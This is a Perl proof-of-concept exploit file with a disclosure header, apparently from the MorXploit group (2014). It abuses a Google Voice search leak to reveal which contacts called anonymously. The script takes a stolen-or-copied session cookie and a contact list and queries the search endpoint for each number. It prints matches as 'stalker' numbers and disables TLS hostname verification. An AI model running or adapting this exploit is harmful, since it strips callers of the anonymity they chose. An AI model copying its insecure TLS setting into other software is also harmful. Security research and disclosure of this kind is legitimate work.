#!/usr/bin/perl # # Title: Google Voice private/unknown numbers disclosure # Author: Simo Ben youssef # Contact: Simo_at_Morxploit_com # Discovered: March 24 2014 # Reported: March 28 2014 # Published: April 04 2014 # MorXploit Research # http://www.MorXploit.com # Service: Google Voice # Vendor: Google (http://www.google.com) # Vulnerability: Information leak # Vendor Status: Unfixed # Original document: http://morxploit.com/morxploits/morxgooglevoice.pl # # About Google Voice: # Google Voice gives you one number for all your phones -- a phone number that is tied to you, not to a device or a location. # Use Google Voice to simplify the way you use phones, make using voicemail as easy as email, customize your callers' experience, and more. # Google Voice isn't a phone service, but it lets you manage all of your phones. Google Voice works with mobile phones, desk phones, # work phones, and VoIP lines. There's nothing to download, upload, or install, and you don't have to make or take calls using a computer. # Google Voice will let you define which phones ring, based on who's calling, and even let you ListenInTM on voicemail before answering the # call. We use smart technology to route your calls. So, if you're already on a Google Voice call, we'll recognize it and use call waiting to # reach you on the phone you're on. # Note: At this time Google Voice is only available in the U.S. # More info at: https://support.google.com/voice/answer/115061?hl=en # # Description: # We believe that's possible to identify a private/unknown number that has previously called a Google Voice number by simply logging to # Google voice and sending a search query with the original number, Google voice will match the unknown number and returns call log confirming # the original number match. This flaw could also be exploited by running a brute force attack against a private number through HTTP, however # since the process could take an unrealistic amount of time, this could be very useful to determine how many people in your contact list have # been calling you privately. # # Steps to reproduce the flaw manually: # # 1- Call your Google number privately. # 2- Submit the original number in the Google Voice Search field. # 3- The private number will show up in the search result as "Unknown". # (See the following screenshot: http://www.morxploit.com/morxploits/pics/googlevoicess.png). # # PoC: # Perl code to perform a Google contact list based brute force attack and determine how many (if any) numbers have called you anonymously. # Running this script against my own contact list that consists of 160 phone numbers, I was able to disclose 4 private numbers, and the whole # process took only a few seconds. # # PoC Usage: # 1- Grab your contact list # Navigate to https://www.google.com/contacts/u/1/ # Click on "More" And "Export" your contact list as vCard format (for importing into Apple Address Book or another application) # # 2- Log in to Google voice with your browser and copy your Google authentication cookie using the Chrome Developer tool or any # other browser HTTP plugin, put it in a file and save it. # # Run the script as: perl morxgooglevoice.pl cookie.txt contacts.vcf # # Demo: # root@MorXploit:/home/simo/morx/googlevoice# perl morxgooglevoice.pl cookie.txt contacts.vcf # [+] Successfully logged in! # [*] Verbose off! # [*] Brute forcing ... # [+] Your stalker number is: +1347XXXXXX # [+] Hash: 82f9d27fb9c62b779a4ccXXXXXXXXXXXXXXXXXXX # [+] Your stalker number is: +1860XXXXXX # [+] Hash: bb92b43473434affe03bdXXXXXXXXXXXXXXXXXXX # [+] Your stalker number is: +1407XXXXXX # [+] Hash: 8f85b970bc8fa1a5f6697XXXXXXXXXXXXXXXXXXX # [+] Your stalker number is: +1-347-XXX-XXXX # [+] Hash: 82f9d27fb9c62b779a4ccXXXXXXXXXXXXXXXXXXX # [+] Your stalker number is: +1-215-XXXX-XXXX # [+] Hash: c12d7f163985979e34769XXXXXXXXXXXXXXXXXXX # [-] All done # # Note: Contact numbers must be saved in the following format: +CountrycodeNumber (Exp: +11111111111) as this is the format that seem # to work for all numbers. # # Disclosure timeline: # March 24 2014: Discovery. # March 28 2014: Initial report sent to security@google.com. # March 28 2014: security@google.com bot responded and assigned case number. # March 28 2014: Google Security Team responded saying they are looking into the issue. # April 02 2014: Google Security Team confirmed the issue and said they are already aware of it, therefore our report doesn't qualify for a # reward. # April 04 2014: Public disclosure # # Author disclaimer: # The information contained in this entire document is for educational, demonstration and testing purposes only. # Author cannot be held responsible for any malicious use. Use at your own risk. # # PoC requirements: # Requires LWP::UserAgent with SSL support # apt-get install libwww-perl # yum install libwww-perl # perl -MCPAN -e 'install Bundle::LWP' # For SSL support: # apt-get install liblwp-protocol-https-perl # yum install perl-Crypt-SSLeay use LWP::UserAgent; use strict; if (!defined ($ARGV[0] && $ARGV[1])) { print "perl $0 <cookie file> <numbers file> <verbose>\n"; print "perl $0 cookie.txt contacts.csv verbose\n"; exit; } my $host = "https://www.google.com/voice/b/1/inbox/search"; my $cookiefile = $ARGV[0]; my $contactfile = $ARGV[1]; my $verbose = $ARGV[2]; open (CF, $cookiefile) || die "[-] Can't find/open $cookiefile\n"; open (LIST, $contactfile) || die "[-] Can't find/open $contactfile\n"; my $cookie = join("", <CF>); close CF; my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $ua->timeout(10); my $gv = $ua->get("$host", 'Cookie' => "$cookie"); if ($gv->as_string =~ /<?xml/) { print "[+] Successfully logged in!\n"; } else { print "[-] Couldn't log in\n"; exit; } if ($verbose eq "verbose") { print "[*] Verbose on!\n"; } else { print "[*] Verbose off!\n"; } print "[*] Brute forcing ...\n"; while (my $line = <LIST>) { chomp ($line); if ($line =~ /TEL;TYPE=(.*)/) { my ($type, $number)= split(':',$line); my $encoded = $number; $encoded =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg; $encoded =~ /(.*)%d/; print "[*] Trying $number\n" if ($verbose eq "verbose"); my $gv = $ua->get("$host/?q=$1", 'Cookie' => "$cookie"); if ($gv->decoded_content =~ /Unknown.(.*?)"/) { my $stalkerhash = $1; print "[+] Your stalker number is: $number\n"; print "[+] Hash: $stalkerhash\n"; } } } print "[-] All done\n"; close LIST; exit;